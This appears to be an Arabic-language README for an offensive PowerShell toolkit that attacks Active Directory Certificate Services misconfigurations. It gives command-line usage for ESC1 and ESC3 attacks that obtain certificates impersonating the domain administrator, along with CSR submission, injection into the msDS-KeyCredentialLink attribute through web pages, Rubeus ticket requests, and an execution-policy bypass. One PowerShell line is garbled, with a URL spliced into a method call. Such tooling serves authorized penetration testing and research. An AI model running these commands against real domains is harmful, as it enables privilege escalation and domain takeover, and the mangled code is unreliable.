
# محتوى متعلق باستغلال AD CS يُوضع هنا
Certi-Bhai هي مجموعة شاملة من أدوات استغلال PowerShell لمهاجمة ثغرات خدمات شهادات الدليل النشط (AD CS). تنفذ هذه المجموعة سيناريوهات تصعيد مختلفة (ESCs) توضح التكوينات الأمنية الخاطئة الحرجة في بيئات ADCS.
غالبًا ما تكون خدمات شهادات الدليل النشط (AD CS) مُهيأة بشكل خاطئ، مما يخلق نواقل هجوم متعددة. توفر Certi-Bhai نصوصًا وأدوات استغلال عملية للاختبار الأمني والبحث في ثغرات ADCS الشائعة.
استخدم بمسؤولية وفقط في بيئات الاختبار المصرح بها.
# وحدة الدليل النشط (اختيارية، لتحسين الوظائف)
Import-Module ActiveDirectory
الثغرة: تسمح قوالب الشهادات بالتسجيل بقيم SubjectAltName (SAN) عشوائية.
ما يفعله: ينشئ شهادة موقعة بواسطة قالب متساهل بشكل مفرط، مما يسمح لك بانتحال شخصية أي مستخدم أو جهاز كمبيوتر في المجال.
الاستخدام:
# الانتقال إلى دليل ESC1
cd ESC1
# تشغيل سيناريو الاستغلال
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
-templateName "vuln" `
-altName "administrator" `
-pfxPass "password123"
المعلمات:
-subjectName: الاسم المميز الكامل (DN) للمستخدم المستهدف-templateName: اسم قالب الشهادة الضعيف-altName: الاسم البديل المطلوب طلبه (اسم مستخدم/جهاز كمبيوتر)-pfxPass: كلمة مرور لتصدير PFXالمخرجات: شهادة PFX بترميز Base64 للاستخدام مع أدوات مثل Rubeus
فيديو تعليمي: https://www.youtube.com/watch?v=l0gMw_mO4dw
الثغرة: يمكن لوكلاء طلب الشهادات طلب شهادات نيابة عن أي مستخدم.
ما يفعله: يسجل شهادة كوكيل طلب شهادات، ثم يطلب شهادات لأي جهات رئيسية.
الاستخدام:
# الانتقال إلى دليل ESC3
cd ESC3
# تشغيل سيناريو الاستغلال
.
\esc3_working.ps1 -templateName "CEOTemplate" `
-target_user "administrator" `
-domain "INDISHELL" `
-pfxPass "password123"
المعلمات:
-templateName: قالب وكيل الطلب الضعيف-target_user: الجهة الرئيسية المطلوب طلب شهادة لها-domain: اسم المجال-pfxPass: كلمة مرور PFXالمخرجات: شهادة مسؤول (PFX) بترميز base64
فيديو تعليمي: https://www.youtube.com/watch?v=fGjrM-JKnoM
الثغرة: حقن سياسة التطبيق.
cd CSR_Generate
# توليد طلب توقيع شهادة
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
-altName "admin"
# إرسال CSR إلى سلطة الشهادات
.
\csr_submit.ps1 -csr $csr `
-templateName "User" `
-caServer "ca-server.domain.local"
توفر واجهة الويب cert.aspx نموذجًا سهل الاستخدام لطلب شهادة من نقطة نهاية AD CS RPC:
http://your-iis-server/cert.aspx
تعديل سمات LDAP من خلال واجهة الويب. يُستخدم هذا السيناريو أساسًا لحقن blob في سمة msDS-KeyCredentialLink:
http://your-iis-server/ldap_update.aspx
الميزات:
.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
-templateName "User" `
-altName "administrator" `
-pfxPass "P@ssw0rd!"
# تحويل PFX إلى تنسيق قابل للاستخدام مع Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)
Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap
س: تنفيذ السيناريو محظور
# تشغيل PowerShell كمسؤول
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
س: قالب الشهادة غير موجود
س: فشل اتصال LDAP
وجدت مشكلة أو لديك تحسينات؟ يرجى الإبلاغ بمسؤولية.